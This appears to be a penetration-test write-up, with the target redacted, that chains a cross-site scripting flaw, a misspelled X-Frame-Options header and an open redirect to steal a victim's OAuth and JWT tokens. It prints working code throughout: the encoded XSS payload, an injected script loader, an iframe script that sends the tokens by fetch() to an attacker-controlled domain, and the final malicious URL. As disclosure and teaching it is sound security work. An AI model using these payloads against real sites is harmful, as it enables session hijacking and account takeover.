Authorization bypass through insecure token handling

First goal: check, next steps in our plan of attack

We have reached our first objective. Next, in order to steal authorization tokens, we had to go further than just popping an alert box. Through the “onerror” attribute of the audio tag, we managed to dynamically add a script tag to the DOM by writing the following code.

var tag=document.createElement(‘script’);
tag.src=’https://www.REDACTED.xyz/poc.js’;
document.body.appendChild(tag);

A couple of things can be highlighted here.

• The “src” attribute of the script tag points to an external script hosted on our server.
• We bought a domain name, as a valid SSL/TLS certificate was required to make the exploit work. The server would otherwise complain about, e.g., Self-signed certificate or mixed active content if we used plain HTTP.

As we could not use double quotes in our XSS payload, every white space was considered as a separation between attributes, e.g., the white space between “var” and “tag” in our payload turns into:

<audio src/onerror=var tag=document.createElement(‘script’);>

Using single quotes didn’t help us either, as these were already used in our payload. We, therefore, had to HTML encode the white space and then URL encode the special characters.

After the encoding process, our final XSS payload resulted in:

%27%3C/script%3E%3Caudio%20src%2Fonerror%3Dvar%26%23×20;tag%3ddocument.createElement(%27script%27);tag.src%3d%27https://www.REDACTED.xyz/poc.js%27;document.body.appendChild(tag);%3E

At this point, we managed to load our externally hosted script through an XSS attack. The script would allow us to write code without any limitations. Let’s go over the script line by line. First, an iframe is created. The iframe frames the web application.

var iframe = document.createElement(‘iframe’);
iframe.src = ‘https://www.REDACTED.com/nl’;
iframe.id = ‘davinsilabs’;

Framing a web application is only possible when the “X-Frame-Options” response header is not set or not properly configured. However, a particular detail caught our eye. The letter “s” was missing from the term “Option”. As a result, the header is not functioning properly and allows us to frame it from another origin. Had the letter “s” been set, our attack vector would still work as the header is set to “sameorigin”. This basically means that REDACTED.com and the webpage vulnerable to XSS are hosted on the same domain. Furthermore, we had to divert the source of the iframe to the production instance of REDACTED.com because our exploit wouldn’t work if we used the UAT instance we tested on. The UAT instance resided on a different domain, which conflicts with the same-origin policy.

X-Frame-Option: sameorigin

Setting the attributes “allow-scripts allow-same-origin” to the iframe tag allowed us to access the DOM of the iframe, also known as the child window.

iframe.sandbox = ‘allow-scripts allow-same-origin’

The iframe is added to the DOM and once it is loaded, the OAuth and the JWT token are stored in variables. These variables are used as an argument for the “send” function.

document.body.appendChild(iframe);
document.getElementById(‘davinsilabs’).onload= function() {
    var oauthToken = document.getElementById(‘davinsilabs’). contentWindow.DR_MDW.Config.oauthToken;
    var mdwJwt = document.getElementById(‘davinsilabs’).contentWindow.DR_MDW.Config.mdwJwt;
    send(oauthToken);
    send(mdwJwt);
};

The “send” function simply performs a GET request to our controlled server together with the content of the “data” variable. In this case, the OAuth and JWT token.

function send(data) {
    fetch(‘https://www.REDACTED.xyz/?data=’ + data, {
      mode: ‘no-cors’
    })
}

The entire script is shown below:

var iframe = document.createElement(‘iframe’);
iframe.src = ‘https://www.REDACTED.com/nl’;
iframe.id = ‘davinsilabs’;
iframe.sandbox = ‘allow-scripts allow-same-origin’
document.body.appendChild(iframe);
 
document.getElementById(‘davinsilabs’).onload= function() {
    var oauthToken = document.getElementById(‘davinsilabs’). contentWindow.DR_MDW.Config.oauthToken;
    var mdwJwt = document.getElementById(‘davinsilabs’).contentWindow.DR_MDW.Config.mdwJwt;
    send(oauthToken);
    send(mdwJwt);
};
 
function send(data) {
    fetch(‘https://www.REDACTED.xyz/?data=’ + data, {
      mode: ‘no-cors’
    })
}

The key to success

To guarantee success, we had to ensure that the victim would have an active session on REDACTED.com. For this to work, the open redirect vulnerability we found comes into play. Authenticated users are automatically redirected to the XSS vulnerability, and unauthenticated users are first shown the legitimate login prompt. After submitting their credentials, they are then redirected to the vulnerable webpage as well.

Combining the XSS with the open redirect vulnerability produced the following URL. Notice that we had to URL encode the XSS payload twice to make it work as the browser decodes it twice due to the open redirect vulnerability.

https://www.REDACTED.com/nl/connect/start?ru=https%3A%2F
%2Fwww.REDACTED.com%2Fnl%2Fid_f_cb_irg%2FREDACTED%2FREDACTED%2Fforms%2Firg.html%3Firg%2527%253C%2Fscript
%253E%253Caudio%2520src%252Fonerror%253Dvar%2526%2523×20%3Btag%253ddocument.createElement(%2527script%2527)
%3Btag.src%253d%2527https%3A%2F%2Fwww.REDACTED.xyz%2Fpoc.js%2527%3Bdocument.body.appendChild(tag)%3B%253E%3Dt

Finally, both the OAuth and JWT token are leaked to the attacker’s server once the URL above is clicked.

An attacker could use these tokens to query the MDW GraphQL API by using the victim’s identity. As GraphQL introspection was enabled, an attacker has insight in all available GraphQL operations, e.g., disclosing the victim’s pin code.